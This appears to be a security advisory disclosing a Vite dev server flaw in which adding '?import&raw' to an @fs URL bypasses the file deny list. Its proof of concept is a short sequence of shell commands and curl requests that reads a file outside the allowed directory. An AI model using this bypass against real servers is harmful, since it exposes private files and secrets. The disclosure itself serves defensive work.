Vite's `server.fs.deny` is bypassed when using `?import&raw`
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
